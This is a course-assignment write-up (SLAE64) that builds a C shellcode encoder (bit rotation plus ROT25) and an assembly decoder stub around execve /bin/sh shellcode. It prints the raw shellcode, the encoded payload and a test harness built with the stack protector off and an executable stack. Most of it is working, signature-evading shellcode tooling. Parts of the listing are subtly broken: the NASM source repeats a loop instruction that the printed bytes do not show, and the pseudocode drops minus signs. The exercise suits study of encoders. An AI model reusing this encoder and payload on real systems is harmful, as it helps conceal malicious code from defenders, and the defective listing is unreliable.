My Repo

Notes, Code, and Others


Project maintained by galminyana Hosted on GitHub Pages — Theme by mattgraham

Assignment #4: Create Encoding Scheme



Introduction


This assignment consist on creating a Custom Encoder like the Insertion Encoder, and create a PoC using the Execve-Stack as the shellcode. Once this is done, a decoder stub has to be implemented in ASM to decode our shellcode and run it. The encoder will be done using C language.

Encoder Schema


The Encoder requires a working shellcode as input. This shellcode, will be encoded with the schema, and the results will be printed in hexadecimal for use as desireed.

The encoder will do the following:

Left Shift Byte Bits

First to do in the Encoder, is to shift 3 bites to left on each byte of the original shellcode:

This is implemented in the following way:

shifted_byte = ( original_byte << SHIFTS ) | ( original_byte >> ( BITS_TO_ROTATE - SHIFTS ))

Where:

ROT25

Once the original shellcode has been Left Shifted, it’s time to ROT25 it. As we work with bytes it’s values can go from 0x00 to 0xFF

This table will show the idea:

  --------------------------------------------------------------------------------
  |  Original Value    0x00   0x01   ...   0x80   ...   0xe7   0xe8   ...   0xff |
  |  Decimal Value        0      1   ...    128   ...    231    232   ...    255 |
  |  ROT25 Value       0x19   0x1a   ...   0x99   ...   0x00   0x01   ...   0x18 |
  --------------------------------------------------------------------------------

This will be implemented for each byte in this way:

rot_max_value = 256  25		                         ; 231 (0xe7) 
if (original_value < rot_max_value) then 
   rot25_value = original_value + 25 
else				                                         ; Here the value will be 231 or greater 
   rot25_value = (original_value + rot)  256        ; It's rotated from the start
end if 

Encoder Implementation


The encode will be implemented in C language.

After this all, the Encoded shellcode will be printed in screen. This is the shellcode that needs to go into the ASM Decoder Stub to be decoded and executed. The following info for later use is printed on screen:

The Encoder code can be found on GitHub Repo for this assignment, in the Encoder.c file:

#include <stdio.h>
#include <string.h>

#define BITS_TO_ROTATE	8
#define SHIFTS 		      3

unsigned char code[]= \
"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48"
"\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

void main (void)
{
	printf("\nShellCode Length: %d\n", strlen(code)); 
	printf("\nOriginal ShellCode:\n");

	for (int i = 0; i < strlen(code); i++) {
		printf("0x%02x,", code[i]);
	}

	printf("\n\nShifted Left 3 bits ShellCode:\n");

	// 3 bits left Rotation
	for (int i = 0; i< strlen(code); i++) {
		code[i] = (code[i] << SHIFTS) | ( code[i] >> (BITS_TO_ROTATE - SHIFTS));
		printf("0x%02x,", code[i]);
	}

	printf("\n\nROT25 ShellCode:\n");

	// ROTX the ShellCode
	unsigned char rot = 25;
	unsigned char max_rot = 256 - rot;

	for (int i = 0; i < strlen(code); i++) {
		if (code[i] < max_rot) {
			code[i] = code[i] + rot;
			printf("0x%02x,",code[i]);
		} else {
			code[i] = (code[i] + rot) - 256;
			printf("0x%02x,",code[i]);
		}
	}
	printf("\n");
}	

Encoder: Compile and Run


Time to compile the source:

SLAE64> gcc Encoder.c -o Encoder

And execute it:

SLAE64> ./Encoder 

ShellCode Length: 32

Original ShellCode:
0x48,0x31,0xc0,0x50,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68,0x53,0x48,0x89,0xe7,0x50,0x48,0x89,0xe2,0x57,0x48,0x89,0xe6,0x48,0x83,0xc0,0x3b,0x0f,0x05,

Shifted Left 3 bits ShellCode:
0x42,0x89,0x06,0x82,0x42,0xdd,0x79,0x13,0x4b,0x73,0x79,0x79,0x9b,0x43,0x9a,0x42,0x4c,0x3f,0x82,0x42,0x4c,0x17,0xba,0x42,0x4c,0x37,0x42,0x1c,0x06,0xd9,0x78,0x28,

ROT25 ShellCode:
0x5b,0xa2,0x1f,0x9b,0x5b,0xf6,0x92,0x2c,0x64,0x8c,0x92,0x92,0xb4,0x5c,0xb3,0x5b,0x65,0x58,0x9b,0x5b,0x65,0x30,0xd3,0x5b,0x65,0x50,0x5b,0x35,0x1f,0xf2,0x91,0x41,

SLAE64> 

The result, as expected, is the original shellcode and both steps of the encoder results being shown in ASM format to use in the Decoder Stub. The end shellcode is the ROT25 Shellcode.

Decoder Implementation


The decoder stub will be done in ASM. It gets the encoded string generated with the Encoder. The ASM file is well commented in the code. What the code does to decode is: but mainly what it has to do is:

The encoded shellcode needs to be stored as a string (db) in the ASM. For this reason, jmp-call-pop technique will be used to reference to it.

In the code, two values are defined:

The program goes decoding the string over itself, and once it has been completelly decoded, jumps to the first instruction to execute the original shellcode. This instruction will be the first byte of the defined string.

The ASM code can be found on file Decode-Execve-Stack.nasm at the Assignment GitHub Repo:

global _start 

%define ROT			25
%define SHELLCODE_LENGTH	32

section .text
_start:

	jmp short jmp_shellcode		; JMP-CALL-POP

jmp_real_start:

	pop rsi				; RSI stores @ of the shellcode (jmp-call-pop)

	push rsi			; Backup of RSI for later use
	pop rbx

; Decode the ROT25 from coded shellcode
;    (a)If shellcode[i] >= ROT, substract ROT to shellcode[i]
;    (b)If shellcode[i] < ROT: Add 256 - ROT. 
jmp_rot25:
	
	push SHELLCODE_LENGTH		; RCX <- shellcode length to iterate throught each byte
	pop rcx

jmp_rot25_bucle:

	cmp  byte [rsi], ROT 		; Compare the value of the byte with the ROT
	jl jmp_rot25_2			; If less jump to do (b)
	sub byte [rsi], ROT		; Doing (a). Substract ROT to encoded shellcode byte 
	jmp short jmp_rot25_end_bucle


jmp_rot25_2:
	
	add byte [rsi], 256-ROT		; Code for (b) operation 

jmp_rot25_end_bucle:

	inc rsi				; Next byte of the shellcode
	; Check if all bytes of shellcode been ROT25'ed
	loop jmp_rot25_bucle		; Still bytes remaining, start bucle again
	loop jmp_rot25_bucle

; Cicle Rotate to Right shifting 3 bits 
;  ROT >> 3
jmp_rotate:

	push rbx			; Restore shellcode address to iterate again
	pop rsi	

	push SHELLCODE_LENGTH		; For the loop to iterate each byte of shellcode
	pop rcx

jmp_rotate_bucle:

	ror byte [rsi], 3		; Rotate right 3 bits
	
	inc rsi				; Next byte of the shellcode
	loop jmp_rotate_bucle		

jmp_execute_shellcode:

	jmp rbx				; Jump to execute the original shellcode

jmp_shellcode:	

	call jmp_real_start
	shellcode: db 0x5b,0xa2,0x1f,0x9b,0x5b,0xf6,0x92,0x2c,0x64,0x8c,0x92,0x92,0xb4,0x5c,
	           0xb3,0x5b,0x65,0x58,0x9b,0x5b,0x65,0x30,0xd3,0x5b,0x65,0x50,0x5b,0x35,
		   0x1f,0xf2,0x91,0x41

Decoder: Compile and Generate Shellcode


The Decoder.nasm file is compiled, and the shellcode is generated using objdump one line command:

SLAE64> nasm -f elf64 Decode-Execve-Stack.nasm -o Decode-Execve-Stack.o
SLAE64> echo\"$(objdump -d Decode-Execve-Stack.o | grep '[0-9a-f]:' | cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g')\"""

"\xeb\x27\x5e\x56\x5b\x6a\x20\x59\x80\x3e\x19\x7c\x05\x80\x2e\x19\xeb\x03\x80\x06\xe7\x48\xff\xc6\xe2\xee\x53\x5e\x6a\x20\x59\xc0\x0e\x03\x48\xff\xc6\xe2\xf8\xff\xe3\xe8\xd4\xff\xff\xff\x5b\xa2\x1f\x9b\x5b\xf6\x92\x2c\x64\x8c\x92\x92\xb4\x5c\xb3\x5b\x65\x58\x9b\x5b\x65\x30\xd3\x5b\x65\x50\x5b\x35\x1f\xf2\x91\x41"

SLAE64> 

Testing the Decoder Stub


Using the shellcode.c template, the generated shellcode needs to be executed and for that, it’s placed into the code[] string on the file. This file can be found on the shellcode.c at the Assignment GitHub Repo:

#include <stdio.h>
#include <string.h>

unsigned char code[]= \
"\xeb\x27\x5e\x56\x5b\x6a\x20\x59\x80\x3e\x19\x7c\x05\x80\x2e\x19"
"\xeb\x03\x80\x06\xe7\x48\xff\xc6\xe2\xee\x53\x5e\x6a\x20\x59\xc0"
"\x0e\x03\x48\xff\xc6\xe2\xf8\xff\xe3\xe8\xd4\xff\xff\xff\x5b\xa2"
"\x1f\x9b\x5b\xf6\x92\x2c\x64\x8c\x92\x92\xb4\x5c\xb3\x5b\x65\x58"
"\x9b\x5b\x65\x30\xd3\x5b\x65\x50\x5b\x35\x1f\xf2\x91\x41";

void main()
{
	printf("ShellCode Lenght: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}

Now it can be compiled with gcc:

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

The resulting file is the one to execute, that doing it, the result is the expected:

GitHub Repo Files


The GitHub Repo for this assignment contains the following files:

The End


This pages have been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: PA-14628